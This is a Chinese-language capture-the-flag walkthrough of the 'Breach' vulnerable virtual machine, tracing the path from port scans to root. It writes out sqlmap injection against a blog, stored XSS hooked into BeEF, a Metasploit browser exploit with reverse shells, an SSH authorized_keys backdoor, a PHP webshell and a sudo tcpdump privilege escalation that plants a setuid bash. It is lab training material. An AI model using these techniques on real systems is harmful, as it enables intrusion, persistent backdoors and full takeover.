Breach靶机

总体思路

Breach靶机_第1张图片

nmap扫描

端口扫描

PORT      STATE SERVICE
111/tcp   open  rpcbind
34140/tcp open  unknown
65535/tcp open  unknown

端口及系统详细信息扫描

PORT      STATE SERVICE VERSION
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          34140/tcp   status
|   100024  1          34204/udp6  status
|   100024  1          34759/tcp6  status
|_  100024  1          48883/udp   status
34140/tcp open  status  1 (RPC #100024)
65535/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)
| ssh-hostkey: 
|   1024 f3539a0b4076b102873ea57aae859d26 (DSA)
|   2048 9aa8db784b444ffbe5836b67e3acfbf5 (RSA)
|   256 c163f1dc8f24818235fa881ab8734024 (ECDSA)
|_  256 3b4d56375ec3457515cd85004f8ba85e (ED25519)
MAC Address: 00:0C:29:1F:C6:FE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

nmap总结

111和34140并没有实质性的内容,65535竟然是个ssh。没有任何其他信息,那么可以尝试ssh登录。

ssh渗透

# ssh [email protected] -p65535
#############################################################################
#                  Welcome to Initech Cyber Consulting, LLC                 #
#                 All connections are monitored and recorded                #
#                     Unauthorized access is encouraged                     #
#             Peter, if that's you - the password is in the source.         #
#          Also, stop checking your blog all day and enjoy your vacation!   # 
#############################################################################
[email protected]'s password: 
Permission denied, please try again.
[email protected]'s password:

因为没有其他任何可以尝试的地方,只能分析这个提示。可以得到一个peter用户,得到可能存在的密码:in the source.in the sourceinthesource。看样子存在Web。提示说不要在看博客了。
使用peter登陆尝试:

# ssh [email protected] -p65535
#############################################################################
#                  Welcome to Initech Cyber Consulting, LLC                 #
#                 All connections are monitored and recorded                #
#                     Unauthorized access is encouraged                     #
#             Peter, if that's you - the password is in the source.         #
#          Also, stop checking your blog all day and enjoy your vacation!   # 
#############################################################################
[email protected]'s password: 
Connection to 192.168.110.151 closed.

在使用密码inthesource登录时,直接断开。开来密码就是这个。中间停顿时间很长,而且前面提示说博客。此时再去nmap扫端口,看是否开启了新端口。这是一种CTF的思路,需要注重一下。
nmap再次扫描:

PORT      STATE SERVICE
80/tcp    open  http
111/tcp   open  rpcbind
34140/tcp open  unknown
65535/tcp open  unknown

果然开启了80端口。

Web渗透

80端口详细信息扫描:

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Initech Cyber Consulting, LLC
|_http-server-header: Apache/2.4.10 (Debian)
MAC Address: 00:0C:29:1F:C6:FE (VMware)

简单脚本扫描:

PORT   STATE SERVICE
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|_  /blog/: Blog
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
MAC Address: 00:0C:29:1F:C6:FE (VMware)

首先尝试nmap扫描出来的Apache httpd 2.4.10。searchsploit漏洞利用并没有发现可以利用的点。

主页面信息检索

Breach靶机_第2张图片


源代码也没什么可用信息。

目录暴破

# gobuster dir -u 'http://192.168.110.151/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/images               (Status: 301) [Size: 319] [--> http://192.168.110.151/images/]
/blog                 (Status: 301) [Size: 317] [--> http://192.168.110.151/blog/]
/server-status        (Status: 403) [Size: 303]

/images不让访问,/blog/是一个博客页:
 

Breach靶机_第3张图片


搜索功能
存在SQL注入。最终只得到了一个用户的账号密码:

# sqlmap -u 'http://192.168.110.151/blog/index.php?search=aaaaa' -D oscommerce -T osc_administrators --dump --batch --level=3

+----+-----------+-------------------------------------+
| id | user_name | user_password                       |
+----+-----------+-------------------------------------+
| 1  | admin     | 685cef95aa31989f2edae5e055ffd2c9:32 |
+----+-----------+-------------------------------------+

解码为32admin,但是因为是加盐,所以应该是admin
搜索功能也存在反射性的xss,可以弹窗,但是没什么用。
 

Breach靶机_第4张图片


登录功能
到目前为止,得到了两个用户密码。都进行尝试,但是都无法登录成功。
留言功能
无论怎么样都无法提交。
注册功能
二次注入可以注册admin';#,但是登录之后没有改密码的地方。无法利用。
但是,发现注册成功的账号名都显示在members页面。那么想到尝试进行存储型的xss。
配合着beef-xss平台进行。
 

Breach靶机_第5张图片


插入成功。
可以看到我们自己上线了,那么意味着可行。看看目标机器会不会上线。在这里也想到了主页面的那张BEEF的图。应该就是暗示使用beef-xss平台。
 

Breach靶机_第6张图片


靶机成功上线。 但是beef-xss带的功能并没有发现可以getshell的。

Breach靶机_第7张图片


这里可以看到有Cookie和靶机的浏览器版本。
cookie尝试之后,发现并没有效果。那就去搜索Firefox 15.0的漏洞利用:
 

Breach靶机_第8张图片


有代码执行的可利用漏洞。

Msf利用getshell

Breach靶机_第9张图片


设置好,run起来之后,会给我们一个漏洞利用的服务器url:
 

image


此利用是需要让目标机器访问我们的攻击服务器,然后msf接到反弹shell。
在beef上可以让目标访问了xss的地方之后进行一个重定向,就可以实现让目标机访问我们的msf生成URL。

Breach靶机_第10张图片

MSF得到shell之后,会很快断掉,不稳定,那么在断掉前执行一个反弹shell到我们的攻击机才能稳定。(此处废了我很多时间,靶机不稳定,还有的时候老出莫名其妙的问题。)
 

image

image

# nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.110.128] from (UNKNOWN) [192.168.110.151] 35007
bash: cannot set terminal process group (1548): Inappropriate ioctl for device
bash: no job control in this shell
peter@breach2:~$ whoami
whoami
peter
peter@breach2:~$

ssh后门

这里不是必要的,但是我害怕中间因为什么差错突然断掉了,避免还要再去通过xss去getshell。就留了一个ssh的后门。
去到peter的家目录,发现有.ssh目录。就去生成了一个peter的公钥和私钥。

ssh-keygen生成公私钥

# ssh-keygen -t rsa -C peter
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa
./id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:3kJ0Z/FEpYMtr8uyfsRheT1dAXU62iI88BfbzJ3/k peter
The key's randomart image is:
+---[RSA 3072]----+
|           o ..=*|
|          + =   B|
|        .o+= . o+|
|       ..+..* o+.|
|        S. +o*  +|
|       o..+.+o.o |
|        o+.oooo.o|
|         .o  +o+.|
|            ooo E|
+----[SHA256]-----+

将公钥写入.ssh/authorized_keys里:

peter@breach2:~/.ssh$ touch ./authorized_keys
touch ./authorized_keys
peter@breach2:~/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuQo5kzGDi351aKDss2eLuKCVxACBL2WqXAWfEJxTfsJJDYSavuHqvVc8Iq7rpStF6HEoWYKQU3dVzpsEHclS7M0ydKhj5Mv9nc4/mi5FtJkJaR29ut7sBhUmV7dGbroslS1H6O/I86xYOaVrKhF3Ba9yrF0mmkrNqewMT4eznCIkLaSnTEFU3YNnUIHj7zZ7VfaQP5Y0CMpgYKY9tyOtgQ7P2MLWhBMP11J0I9stjngfUZeqf/I4LIVwiiJUaJri64zheBy9qa+9gKnWmPtREiWiJMCucB4dHXmddI9RxgjwtRBpEvq7ijK5a4oPKoTz/H0wSlE+sbtJfRJtpxs0upnn/Ha4a38KPNsIYwefRgxnW0CfRCyeGILGBfxPj4bVZSmhlVyS9rDk4D49uBPhlRSDMyj0AvFcYvQ9m/rtzLtg5xIMG7LUr+0b7b4kAd7TRP1Y6lho4DfLQzBpiG3HHNJ00J1EiF+USEd7rxD3upZe2TF+sLv205dkbxzJ9Pkc= peter' > ./au
 ./authorized_keys

然后再去登录的时候发现还是不可以用私钥登录。同样也是输入密码直接断开。那么意思是其实是可以登录成功的,但是服务器执行了什么脚本,导致不让ssh私钥登录。但是ssh后门的思路是没错的。

.bashrc文件留后门

.bashrc文件是用户登录之后加载的一些配置文件,可以更好的让用户定义自己的交互等,但是这个文件并不是必需的。如果我们可以将反弹shell写入这个文件,那么用户每次登陆成功都会给我们的攻击机反弹一个shell。
我们既然知道账号密码,只是每次登陆成功都会被强制断开,那么就可以尝试使用这个办法进行快速登录。

内网端口渗透(提权)

2323端口

所有常规提权遍历尝试完,但是都没有进展。根据前面特定操作会开端口进行端口查看:
 

Breach靶机_第11张图片


看到有系2323和58280端口。
58280端口什么都没有。看2323:
 

Breach靶机_第12张图片


给了个类似经纬度的东西,google查询得到关键字:
 

Breach靶机_第13张图片


猜测可能是这些。用户可以尝试另外两个用户:milton和blumbergh。尝试之后,发现milton可以用Houston登录。但是还需要口令:

peter@breach2:~$ telnet 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
29 45'46" N 95 22'59" W 
breach2 login: milton
milton
Password: Houston

Last login: Thu Dec  7 07:28:53 EST 2023 from localhost on pts/0
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
29 45'46" N 95 22'59" W 
3
2
1
Whose stapler is it?

这个口令不知道是什么,但是这肯定是脚本。因此,可以尝试直接搜关键字stapler去找脚本,说不定能找到:
 

Breach靶机_第14张图片

Breach靶机_第15张图片


知道了口令为:mine
登陆成功后得到了milton的shell:

peter@breach2:/usr$ telnet 127.0.0.1 2323
telnet 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
29 45'46" N 95 22'59" W 
breach2 login: milton
milton
Password: Houston

Last login: Tue Dec  5 02:08:57 EST 2023 from localhost on pts/1
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
29 45'46" N 95 22'59" W 
3
2
1
Whose stapler is it?mine
mine
Woot!
milton@breach2:~$

8888端口

继续跟着靶机思路走,直接看是否开启新的端口:    

Breach靶机_第16张图片


8888是新开启的端口。

milton@breach2:~$ telnet 127.0.0.1 8888
telnet 127.0.0.1 8888
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
a
a
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Thu, 07 Dec 2023 12:32:15 GMT
Content-Type: text/html
Content-Length: 172
Connection: close


400 Bad Request

400 Bad Request


nginx/1.6.2
Connection closed by foreign host.

貌似是web。继续nmap扫描过一下。

PORT     STATE SERVICE VERSION
8888/tcp open  http    nginx 1.6.2
| http-ls: Volume /
| SIZE  TIME               FILENAME
| -     15-Jun-2016 20:50  oscommerce/
| 867   15-Jun-2016 18:09  index.nginx-debian.html
|_
|_http-server-header: nginx/1.6.2
|_http-title: Index of /
MAC Address: 00:0C:29:1F:C6:FE (VMware)

因为已经拿到了shell,直接看/var/html里的文件结构得知有admin登录页。

Breach靶机_第17张图片

尝试之前的所有账号密码,admin账号登陆成功。进入后台。1. tools-->Banner Manager可以上传文件:

Breach靶机_第18张图片


但是上传了,却找不到文件。
2. tools-->File Manager有很多php文件,但是都不可以编辑。直接去目录找可写入的文件,find ./ -writable,找到./includes/work可写。
 

Breach靶机_第19张图片


写shell,访问,blumbergh用户getshell:

# nc -lvnp 10001
listening on [any] 10001 ...
connect to [192.168.110.128] from (UNKNOWN) [192.168.110.151] 54619
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux
 08:13:35 up  4:24,  1 user,  load average: 0.29, 0.20, 0.16
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
milton   pts/0    localhost        07:28    4:22   0.03s  0.03s -bash
uid=1001(blumbergh) gid=1001(blumbergh) groups=1001(blumbergh),1004(fin)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
blumbergh
$

tcpdump提权

常规提权遍历,发现sudo可以执行tcpdump。可以尝试提权。
 

Breach靶机_第20张图片


注意,当提权的时候,可以提权的那个命令可以以root权限执行某个文件时,都可以尝试执行/bin/bash -p,因此:

blumbergh@reach2:/tmp$ echo 'cp /bin/bash /tmp/shell' > /tmp/test.sh
blumbergh@reach2:/tmp$ echo 'chmod +s /tmp/shell' >> /tmp/test.sh
blumbergh@reach2:/tmp$ chmod +x /tmp/test.sh
blumbergh@reach2:/tmp$ sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/test.sh -Z root


dropped privs to root
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1

注意,执行完tcpdump的时候,它会监听对应网卡的流量,只有有流量时,才会执行。因此,执行完之后,需要随便来点流量,比如去访问一下2323端口。
root用户getshell:

blumbergh@reach2:/tmp$ ./shell -p
./shell -p
shell-4.3# whoami
whoami
root
shell-4.3#

靶机总结与认知成长

  1. xss利用的好也可以getshell。

  2. 当用户输入的东西能保存在网页上的时候,要想到利用存储型xss。

  3. 要熟悉beef-xss平台的使用,也要熟悉msf的使用。

  4. 一般xss上线都是通过浏览器,可以着重看受害者的浏览器版本,可能会有利用。

  5. 可以通过ssh的公钥和私钥进行留存后门,或者尝试.bashrc文件留存后门。

  6. getshell之后,当有脚本触发时,可以通过关键字查找脚本进行分析。

  7. find的-writalbe可以查找有写权限的文件。

  8. sudo的tcpdump提权时,监听的网卡需要有流量才能执行。

免费领取安全学习资料包!Breach靶机_第21张图片

渗透工具

Breach靶机_第22张图片

技术文档、书籍

Breach靶机_第23张图片 Breach靶机_第24张图片

Breach靶机_第25张图片

面试题

帮助你在面试中脱颖而出

Breach靶机_第26张图片

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

Breach靶机_第27张图片 

Breach靶机_第28张图片

应急响应笔记

Breach靶机_第29张图片

学习路线

你可能感兴趣的:(渗透测试,安全,web安全)